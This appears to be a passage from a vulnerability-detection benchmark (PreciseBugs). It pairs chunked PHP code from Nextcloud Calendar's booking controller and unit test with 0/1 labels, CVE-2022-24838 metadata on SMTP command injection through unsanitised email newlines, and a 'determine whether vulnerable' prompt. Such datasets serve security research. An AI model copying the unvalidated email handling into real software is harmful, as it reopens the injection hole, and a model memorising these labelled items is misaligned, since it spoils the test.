$e->getHttpCode() ?? Http::STATUS_INTERNAL_SERVER_ERROR);\n\t\t}", "\t\treturn JsonResponse::success($booking);\n\t}", "\t/**\n\t * @PublicPage\n\t * @NoCSRFRequired\n\t *\n\t * @param string $token\n\t * @return TemplateResponse\n\t * @throws Exception\n\t */\n\tpublic function confirmBooking(string $token): TemplateResponse {\n\t\ttry {\n\t\t\t$booking = $this->bookingService->findByToken($token);\n\t\t} catch (ClientException $e) {\n\t\t\t$this->logger->warning($e->getMessage(), ['exception' => $e]);\n\t\t\treturn new TemplateResponse(\n\t\t\t\tApplication::APP_ID,\n\t\t\t\t'appointments/404-booking',\n\t\t\t\t[],\n\t\t\t\tTemplateResponse::RENDER_AS_GUEST\n\t\t\t);\n\t\t}", "\t\ttry {\n\t\t\t$config = $this->appointmentConfigService->findById($booking->getApptConfigId());\n\t\t} catch (ServiceException $e) {\n\t\t\t$this->logger->error($e->getMessage(), ['exception' => $e]);\n\t\t\treturn new TemplateResponse(\n\t\t\t\tApplication::APP_ID,\n\t\t\t\t'appointments/404-booking',\n\t\t\t\t[],\n\t\t\t\tTemplateResponse::RENDER_AS_GUEST\n\t\t\t);\n\t\t}", "\t\t$link = $this->urlGenerator->linkToRouteAbsolute('calendar.appointment.show', [ 'token' => $config->getToken() ]);\n\t\ttry {\n\t\t\t$booking = $this->bookingService->confirmBooking($booking, $config);\n\t\t} catch (ClientException $e) {\n\t\t\t$this->logger->warning($e->getMessage(), ['exception' => $e]);\n\t\t}", "\t\t$this->initialState->provideInitialState(\n\t\t\t'appointment-link',\n\t\t\t$link\n\t\t);\n\t\t$this->initialState->provideInitialState(\n\t\t\t'booking',\n\t\t\t$booking\n\t\t);", "\t\treturn new TemplateResponse(\n\t\t\tApplication::APP_ID,\n\t\t\t'appointments/booking-conflict',\n\t\t\t[],\n\t\t\tTemplateResponse::RENDER_AS_GUEST\n\t\t);\n\t}\n}" ]
[ 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [163, 173], "buggy_code_start_loc": [45, 29], "filenames": ["lib/Controller/BookingController.php", "tests/php/unit/Controller/BookingControllerTest.php"], "fixing_code_end_loc": [174, 292], "fixing_code_start_loc": [46, 30], "message": "Nextcloud Calendar is a calendar application for the nextcloud framework. SMTP Command Injection in Appointment Emails via Newlines: as newlines and special characters are not sanitized in the email value in the JSON request, a malicious attacker can inject newlines to break out of the `RCPT TO:<BOOKING USER'S EMAIL> ` SMTP command and begin injecting arbitrary SMTP commands. It is recommended that Calendar is upgraded to 3.2.2. There are no workaround available.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:nextcloud:calendar:*:*:*:*:*:*:*:*", "matchCriteriaId": "51E49865-DEC4-4532-BDCE-24F92C97C71F", "versionEndExcluding": "3.2.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Nextcloud Calendar is a calendar application for the nextcloud framework. SMTP Command Injection in Appointment Emails via Newlines: as newlines and special characters are not sanitized in the email value in the JSON request, a malicious attacker can inject newlines to break out of the `RCPT TO:<BOOKING USER'S EMAIL> ` SMTP command and begin injecting arbitrary SMTP commands. It is recommended that Calendar is upgraded to 3.2.2. There are no workaround available."}, {"lang": "es", "value": "Nextcloud Calendar es una aplicaci\u00f3n de calendario para el framework nextcloud. Una Inyecci\u00f3n de Comandos SMTP en Correos Electr\u00f3nicos de Citas por medio de Newlines: como las nuevas l\u00edneas y los caracteres especiales no son saneados en el valor del correo electr\u00f3nico en la petici\u00f3n JSON, un atacante malicioso puede inyectar nuevas l\u00edneas para salirse del comando SMTP \"RCPT TO:(BOOKING USER'S EMAIL)\" y comenzar a inyectar comandos SMTP arbitrarios. Es recomendado actualizar Calendar a la versi\u00f3n 3.2.2. No se presenta ninguna medida de mitigaci\u00f3n disponible"}], "evaluatorComment": null, "id": "CVE-2022-24838", "lastModified": "2022-04-19T15:32:08.713", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 1.4, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2022-04-11T21:15:08.760", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/nextcloud/calendar/commit/7b70edfb8a0fcf0926f613ababcbd56c6ecd9f35"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/nextcloud/calendar/pull/4073"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-8xv5-4855-24qf"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-77"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-74"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/nextcloud/calendar/commit/7b70edfb8a0fcf0926f613ababcbd56c6ecd9f35"}, "type": "CWE-77"}
144
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "declare(strict_types=1);", "/**\n * Calendar App\n *\n * @copyright 2021 Anna Larch <anna.larch@gmx.net>\n *\n * @author Anna Larch <anna.larch@gmx.net>\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n *\n * You should have received a copy of the GNU Affero General Public\n * License along with this library. If not, see <http://www.gnu.org/licenses/>.\n *\n */\nnamespace OCA\\Calendar\\Controller;", "use DateTimeImmutable;\nuse DateTimeZone;\nuse InvalidArgumentException;\nuse OC\\URLGenerator;\nuse OCA\\Calendar\\AppInfo\\Application;\nuse OCA\\Calendar\\Exception\\ClientException;\nuse OCA\\Calendar\\Exception\\NoSlotFoundException;\nuse OCA\\Calendar\\Exception\\ServiceException;\nuse OCA\\Calendar\\Http\\JsonResponse;\nuse OCA\\Calendar\\Service\\Appointments\\AppointmentConfigService;\nuse OCA\\Calendar\\Service\\Appointments\\BookingService;\nuse OCP\\AppFramework\\Controller;\nuse OCP\\AppFramework\\Http;\nuse OCP\\AppFramework\\Http\\TemplateResponse;\nuse OCP\\AppFramework\\Services\\IInitialState;\nuse OCP\\AppFramework\\Utility\\ITimeFactory;\nuse OCP\\DB\\Exception;\nuse OCP\\IRequest;", "use OCP\\Mail\\IMailer;", "use Psr\\Log\\LoggerInterface;", "class BookingController extends Controller {", "\t/** @var BookingService */\n\tprivate $bookingService;", "\t/** @var ITimeFactory */\n\tprivate $timeFactory;", "\t/** @var AppointmentConfigService */\n\tprivate $appointmentConfigService;", "\t/** @var IInitialState */\n\tprivate $initialState;", "\t/** @var URLGenerator */\n\tprivate $urlGenerator;", "\t/** @var LoggerInterface */\n\tprivate $logger;\n", "\t/** @var IMailer */\n\tprivate $mailer;", "\tpublic function __construct(string $appName,\n\t\t\t\t\t\t\t\tIRequest $request,\n\t\t\t\t\t\t\t\tITimeFactory $timeFactory,\n\t\t\t\t\t\t\t\tIInitialState $initialState,\n\t\t\t\t\t\t\t\tBookingService $bookingService,", "\t\t\t\t\t\t\t\tAppointmentConfigService $appointmentConfigService,", "\t\t\t\t\t\t\t\tURLGenerator $urlGenerator,\n\t\t\t\t\t\t\t\tLoggerInterface $logger,\n\t\t\t\t\t\t\t\tIMailer $mailer) {", "\t\tparent::__construct($appName, $request);", "\t\t$this->bookingService = $bookingService;\n\t\t$this->timeFactory = $timeFactory;\n\t\t$this->appointmentConfigService = $appointmentConfigService;\n\t\t$this->initialState = $initialState;\n\t\t$this->urlGenerator = $urlGenerator;\n\t\t$this->logger = $logger;", "\t\t$this->mailer = $mailer;", "\t}", "\t/**\n\t * @NoAdminRequired\n\t * @PublicPage\n\t *\n\t * @param int $appointmentConfigId\n\t * @param int $startTime UNIX time stamp for the start time in UTC\n\t * @param string $timeZone\n\t *\n\t * @return JsonResponse\n\t */\n\tpublic function getBookableSlots(int $appointmentConfigId,\n\t\t\t\t\t\t\t\t\t int $startTime,\n\t\t\t\t\t\t\t\t\t string $timeZone): JsonResponse {\n\t\t// Convert the timestamps to the beginning and end of the respective day in the specified timezone\n\t\ttry {\n\t\t\t$tz = new DateTimeZone($timeZone);\n\t\t} catch (Exception $e) {\n\t\t\t$this->logger->error('Timezone invalid', ['exception' => $e]);\n\t\t\treturn JsonResponse::fail('Invalid time zone', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}\n\t\t$startTimeInTz = (new DateTimeImmutable())\n\t\t\t->setTimestamp($startTime)\n\t\t\t->setTimezone($tz)\n\t\t\t->setTime(0, 0)\n\t\t\t->getTimestamp();\n\t\t$endTimeInTz = (new DateTimeImmutable())\n\t\t\t->setTimestamp($startTime)\n\t\t\t->setTimezone($tz)\n\t\t\t->setTime(23, 59, 59)\n\t\t\t->getTimestamp();", "\t\tif ($startTimeInTz > $endTimeInTz) {\n\t\t\t$this->logger->warning('Invalid time range - end time ' . $endTimeInTz . ' before start time ' . $startTimeInTz);\n\t\t\treturn JsonResponse::fail('Invalid time range', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}\n\t\t// rate limit this to only allow ranges between 0 and 7 days\n\t\tif (ceil(($endTimeInTz - $startTimeInTz) / 86400) > 7) {\n\t\t\t$this->logger->warning('Date range too large for start ' . $startTimeInTz . ' end ' . $endTimeInTz);\n\t\t\treturn JsonResponse::fail('Date Range too large.', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}\n\t\t$now = $this->timeFactory->getTime();\n\t\tif ($now > $endTimeInTz) {\n\t\t\t$this->logger->warning('Slot time must be in the future - now ' . $now . ' end ' . $endTimeInTz);\n\t\t\treturn JsonResponse::fail('Slot time range must be in the future', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}", "\t\ttry {\n\t\t\t$config = $this->appointmentConfigService->findById($appointmentConfigId);\n\t\t} catch (ServiceException $e) {\n\t\t\t$this->logger->error('No appointment config found for id ' . $appointmentConfigId, ['exception' => $e]);\n\t\t\treturn JsonResponse::fail(null, Http::STATUS_NOT_FOUND);\n\t\t}", "\t\treturn JsonResponse::success(\n\t\t\t$this->bookingService->getAvailableSlots($config, $startTimeInTz, $endTimeInTz)\n\t\t);\n\t}", "\t/**\n\t * @NoAdminRequired\n\t * @PublicPage\n\t *\n\t * @param int $appointmentConfigId\n\t * @param int $start\n\t * @param int $end\n\t * @param string $displayName\n\t * @param string $email\n\t * @param string $description\n\t * @param string $timeZone\n\t * @return JsonResponse\n\t */", "\tpublic function bookSlot(int $appointmentConfigId,\n\t\t\t\t\t\t\t int $start,\n\t\t\t\t\t\t\t int $end,", "\t\t\t\t\t\t\t string $displayName,\n\t\t\t\t\t\t\t string $email,\n\t\t\t\t\t\t\t string $description,\n\t\t\t\t\t\t\t string $timeZone): JsonResponse {", "\t\tif (!$this->mailer->validateMailAddress($email)) {\n\t\t\treturn JsonResponse::fail('Invalid email address', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}\n", "\t\tif ($start > $end) {\n\t\t\treturn JsonResponse::fail('Invalid time range', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}", "\t\ttry {\n\t\t\t$config = $this->appointmentConfigService->findById($appointmentConfigId);\n\t\t} catch (ServiceException $e) {\n\t\t\t$this->logger->error('No appointment config found for id ' . $appointmentConfigId, ['exception' => $e]);\n\t\t\treturn JsonResponse::fail(null, Http::STATUS_NOT_FOUND);\n\t\t}\n\t\ttry {\n\t\t\t$booking = $this->bookingService->book($config, $start, $end, $timeZone, $displayName, $email, $description);\n\t\t} catch (NoSlotFoundException $e) {\n\t\t\t$this->logger->warning('No slot available for start: ' . $start . ', end: ' . $end . ', config id: ' . $appointmentConfigId , ['exception' => $e]);\n\t\t\treturn JsonResponse::fail(null, Http::STATUS_NOT_FOUND);\n\t\t} catch (InvalidArgumentException $e) {\n\t\t\t$this->logger->warning($e->getMessage(), ['exception' => $e]);\n\t\t\treturn JsonResponse::fail(null, Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t} catch (ServiceException|ClientException $e) {\n\t\t\t$this->logger->error($e->getMessage(), ['exception' => $e]);\n\t\t\treturn JsonResponse::errorFromThrowable($e, $e->getHttpCode() ?? Http::STATUS_INTERNAL_SERVER_ERROR);\n\t\t}", "\t\treturn JsonResponse::success($booking);\n\t}", "\t/**\n\t * @PublicPage\n\t * @NoCSRFRequired\n\t *\n\t * @param string $token\n\t * @return TemplateResponse\n\t * @throws Exception\n\t */\n\tpublic function confirmBooking(string $token): TemplateResponse {\n\t\ttry {\n\t\t\t$booking = $this->bookingService->findByToken($token);\n\t\t} catch (ClientException $e) {\n\t\t\t$this->logger->warning($e->getMessage(), ['exception' => $e]);\n\t\t\treturn new TemplateResponse(\n\t\t\t\tApplication::APP_ID,\n\t\t\t\t'appointments/404-booking',\n\t\t\t\t[],\n\t\t\t\tTemplateResponse::RENDER_AS_GUEST\n\t\t\t);\n\t\t}", "\t\ttry {\n\t\t\t$config = $this->appointmentConfigService->findById($booking->getApptConfigId());\n\t\t} catch (ServiceException $e) {\n\t\t\t$this->logger->error($e->getMessage(), ['exception' => $e]);\n\t\t\treturn new TemplateResponse(\n\t\t\t\tApplication::APP_ID,\n\t\t\t\t'appointments/404-booking',\n\t\t\t\t[],\n\t\t\t\tTemplateResponse::RENDER_AS_GUEST\n\t\t\t);\n\t\t}", "\t\t$link = $this->urlGenerator->linkToRouteAbsolute('calendar.appointment.show', [ 'token' => $config->getToken() ]);\n\t\ttry {\n\t\t\t$booking = $this->bookingService->confirmBooking($booking, $config);\n\t\t} catch (ClientException $e) {\n\t\t\t$this->logger->warning($e->getMessage(), ['exception' => $e]);\n\t\t}", "\t\t$this->initialState->provideInitialState(\n\t\t\t'appointment-link',\n\t\t\t$link\n\t\t);\n\t\t$this->initialState->provideInitialState(\n\t\t\t'booking',\n\t\t\t$booking\n\t\t);", "\t\treturn new TemplateResponse(\n\t\t\tApplication::APP_ID,\n\t\t\t'appointments/booking-conflict',\n\t\t\t[],\n\t\t\tTemplateResponse::RENDER_AS_GUEST\n\t\t);\n\t}\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [163, 173], "buggy_code_start_loc": [45, 29], "filenames": ["lib/Controller/BookingController.php", "tests/php/unit/Controller/BookingControllerTest.php"], "fixing_code_end_loc": [174, 292], "fixing_code_start_loc": [46, 30], "message": "Nextcloud Calendar is a calendar application for the nextcloud framework. SMTP Command Injection in Appointment Emails via Newlines: as newlines and special characters are not sanitized in the email value in the JSON request, a malicious attacker can inject newlines to break out of the `RCPT TO:<BOOKING USER'S EMAIL> ` SMTP command and begin injecting arbitrary SMTP commands. It is recommended that Calendar is upgraded to 3.2.2. There are no workaround available.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:nextcloud:calendar:*:*:*:*:*:*:*:*", "matchCriteriaId": "51E49865-DEC4-4532-BDCE-24F92C97C71F", "versionEndExcluding": "3.2.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Nextcloud Calendar is a calendar application for the nextcloud framework. SMTP Command Injection in Appointment Emails via Newlines: as newlines and special characters are not sanitized in the email value in the JSON request, a malicious attacker can inject newlines to break out of the `RCPT TO:<BOOKING USER'S EMAIL> ` SMTP command and begin injecting arbitrary SMTP commands. It is recommended that Calendar is upgraded to 3.2.2. There are no workaround available."}, {"lang": "es", "value": "Nextcloud Calendar es una aplicaci\u00f3n de calendario para el framework nextcloud. Una Inyecci\u00f3n de Comandos SMTP en Correos Electr\u00f3nicos de Citas por medio de Newlines: como las nuevas l\u00edneas y los caracteres especiales no son saneados en el valor del correo electr\u00f3nico en la petici\u00f3n JSON, un atacante malicioso puede inyectar nuevas l\u00edneas para salirse del comando SMTP \"RCPT TO:(BOOKING USER'S EMAIL)\" y comenzar a inyectar comandos SMTP arbitrarios. Es recomendado actualizar Calendar a la versi\u00f3n 3.2.2. No se presenta ninguna medida de mitigaci\u00f3n disponible"}], "evaluatorComment": null, "id": "CVE-2022-24838", "lastModified": "2022-04-19T15:32:08.713", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 1.4, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2022-04-11T21:15:08.760", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/nextcloud/calendar/commit/7b70edfb8a0fcf0926f613ababcbd56c6ecd9f35"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/nextcloud/calendar/pull/4073"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-8xv5-4855-24qf"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-77"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-74"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/nextcloud/calendar/commit/7b70edfb8a0fcf0926f613ababcbd56c6ecd9f35"}, "type": "CWE-77"}
144
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "declare(strict_types=1);\n/**\n * Calendar App\n *\n * @copyright 2021 Anna Larch <anna.larch@gmx.net>\n *\n * @author Anna Larch <anna.larch@gmx.net>\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n *\n * You should have received a copy of the GNU Affero General Public\n * License along with this library. If not, see <http://www.gnu.org/licenses/>.\n *\n */\nnamespace OCA\\Calendar\\Controller;", "use ChristophWurst\\Nextcloud\\Testing\\TestCase;\nuse DateTimeZone;\nuse Exception;", "", "use OC\\URLGenerator;\nuse OCA\\Calendar\\Db\\AppointmentConfig;", "", "use OCA\\Calendar\\Service\\Appointments\\AppointmentConfigService;\nuse OCA\\Calendar\\Service\\Appointments\\BookingService;\nuse OCP\\AppFramework\\Services\\IInitialState;\nuse OCP\\AppFramework\\Utility\\ITimeFactory;\nuse OCP\\Calendar\\ICalendarQuery;\nuse OCP\\Contacts\\IManager;\nuse OCP\\IInitialStateService;\nuse OCP\\IRequest;\nuse OCP\\IUser;", "", "use PHPUnit\\Framework\\MockObject\\MockObject;\nuse Psr\\Log\\LoggerInterface;\nuse Safe\\DateTimeImmutable;", "class BookingControllerTest extends TestCase {", "\t/** @var string */\n\tprotected $appName;", "\t/** @var IRequest|MockObject */\n\tprotected $request;", "\t/** @var IManager|MockObject */\n\tprotected $manager;", "\t/** @var IInitialStateService|MockObject */\n\tprotected $initialState;", "\t/** @var IUser|MockObject */\n\tprotected $user;", "\t/** @var AppointmentConfigService|MockObject */\n\tprotected $service;", "\t/** @var AppointmentConfigController */\n\tprotected $controller;", "\t/** @var ITimeFactory|MockObject */\n\tprivate $time;", "\t/** @var BookingService|MockObject */\n\tprivate $bookingService;", "\t/** @var AppointmentConfigService|MockObject */\n\tprivate $apptService;", "\t/** @var URLGenerator|MockObject */\n\tprivate $urlGenerator;", "\t/** @var mixed|MockObject|LoggerInterface */\n\tprivate $logger;", "", "\n\tprotected function setUp():void {\n\t\tparent::setUp();", "\t\tif (!interface_exists(ICalendarQuery::class)) {\n\t\t\tself::markTestIncomplete();\n\t\t}", "\t\t$this->appName = 'calendar';\n\t\t$this->request = $this->createMock(IRequest::class);\n\t\t$this->time = $this->createMock(ITimeFactory::class);\n\t\t$this->initialState = $this->createMock(IInitialState::class);\n\t\t$this->bookingService = $this->createMock(BookingService::class);\n\t\t$this->apptService = $this->createMock(AppointmentConfigService::class);\n\t\t$this->urlGenerator = $this->createMock(URLGenerator::class);\n\t\t$this->logger = $this->createMock(LoggerInterface::class);", "", "\t\t$this->controller = new BookingController(\n\t\t\t$this->appName,\n\t\t\t$this->request,\n\t\t\t$this->time,\n\t\t\t$this->initialState,\n\t\t\t$this->bookingService,\n\t\t\t$this->apptService,\n\t\t\t$this->urlGenerator,", "\t\t\t$this->logger", "\t\t);\n\t}", "\tpublic function testGetBookableSlots(): void {\n\t\t$start = time();\n\t\t$tz = new DateTimeZone('Europe/Berlin');\n\t\t$sDT = (new DateTimeImmutable())\n\t\t\t->setTimestamp($start)\n\t\t\t->setTimezone($tz)\n\t\t\t->setTime(0, 0)\n\t\t\t->getTimestamp();\n\t\t$eDT = (new DateTimeImmutable())\n\t\t\t->setTimestamp($start)\n\t\t\t->setTimezone($tz)\n\t\t\t->setTime(23, 59, 59)\n\t\t\t->getTimestamp();", "\t\t$apptConfg = new AppointmentConfig();\n\t\t$apptConfg->setId(1);\n\t\t$this->time->expects(self::once())\n\t\t\t->method('getTime')\n\t\t\t->willReturn($start);\n\t\t$this->apptService->expects(self::once())\n\t\t\t->method('findById')\n\t\t\t->with(1)\n\t\t\t->willReturn($apptConfg);\n\t\t$this->bookingService->expects(self::once())\n\t\t\t->method('getAvailableSlots')\n\t\t\t->with($apptConfg, $sDT, $eDT);", "\t\t$this->controller->getBookableSlots($apptConfg->getId(), $start,'Europe/Berlin');\n\t}", "\tpublic function testGetBookableSlotsInvalidTimezone(): void {\n\t\t$start = time();\n\t\t$apptConfg = new AppointmentConfig();\n\t\t$apptConfg->setId(1);\n\t\t$this->time->expects(self::never())\n\t\t\t->method('getTime');\n\t\t$this->apptService->expects(self::never())\n\t\t\t->method('findById')\n\t\t\t->with(1);\n\t\t$this->bookingService->expects(self::never())\n\t\t\t->method('getAvailableSlots');\n\t\t$this->expectException(Exception::class);", "\t\t$this->controller->getBookableSlots($apptConfg->getId(), $start, 'Hook/Neverland');\n\t}", "\tpublic function testGetBookableSlotsDatesInPast(): void {\n\t\t$start = time();\n\t\t$fakeFutureTimestamp = time() + (100 * 24 * 60 * 60);\n\t\t$apptConfg = new AppointmentConfig();\n\t\t$apptConfg->setId(1);\n\t\t$this->time->expects(self::once())\n\t\t\t->method('getTime')\n\t\t\t->willReturn($fakeFutureTimestamp);\n\t\t$this->apptService->expects(self::never())\n\t\t\t->method('findById')\n\t\t\t->with(1);\n\t\t$this->bookingService->expects(self::never())\n\t\t\t->method('getAvailableSlots');\n\t\t$this->logger->expects(self::once())\n\t\t\t->method('warning');", "\t\t$this->controller->getBookableSlots($apptConfg->getId(), $start,'Europe/Berlin');\n\t}", "", "}" ]
[ 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1 ]
PreciseBugs
{"buggy_code_end_loc": [163, 173], "buggy_code_start_loc": [45, 29], "filenames": ["lib/Controller/BookingController.php", "tests/php/unit/Controller/BookingControllerTest.php"], "fixing_code_end_loc": [174, 292], "fixing_code_start_loc": [46, 30], "message": "Nextcloud Calendar is a calendar application for the nextcloud framework. SMTP Command Injection in Appointment Emails via Newlines: as newlines and special characters are not sanitized in the email value in the JSON request, a malicious attacker can inject newlines to break out of the `RCPT TO:<BOOKING USER'S EMAIL> ` SMTP command and begin injecting arbitrary SMTP commands. It is recommended that Calendar is upgraded to 3.2.2. There are no workaround available.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:nextcloud:calendar:*:*:*:*:*:*:*:*", "matchCriteriaId": "51E49865-DEC4-4532-BDCE-24F92C97C71F", "versionEndExcluding": "3.2.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Nextcloud Calendar is a calendar application for the nextcloud framework. SMTP Command Injection in Appointment Emails via Newlines: as newlines and special characters are not sanitized in the email value in the JSON request, a malicious attacker can inject newlines to break out of the `RCPT TO:<BOOKING USER'S EMAIL> ` SMTP command and begin injecting arbitrary SMTP commands. It is recommended that Calendar is upgraded to 3.2.2. There are no workaround available."}, {"lang": "es", "value": "Nextcloud Calendar es una aplicaci\u00f3n de calendario para el framework nextcloud. Una Inyecci\u00f3n de Comandos SMTP en Correos Electr\u00f3nicos de Citas por medio de Newlines: como las nuevas l\u00edneas y los caracteres especiales no son saneados en el valor del correo electr\u00f3nico en la petici\u00f3n JSON, un atacante malicioso puede inyectar nuevas l\u00edneas para salirse del comando SMTP \"RCPT TO:(BOOKING USER'S EMAIL)\" y comenzar a inyectar comandos SMTP arbitrarios. Es recomendado actualizar Calendar a la versi\u00f3n 3.2.2. No se presenta ninguna medida de mitigaci\u00f3n disponible"}], "evaluatorComment": null, "id": "CVE-2022-24838", "lastModified": "2022-04-19T15:32:08.713", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": 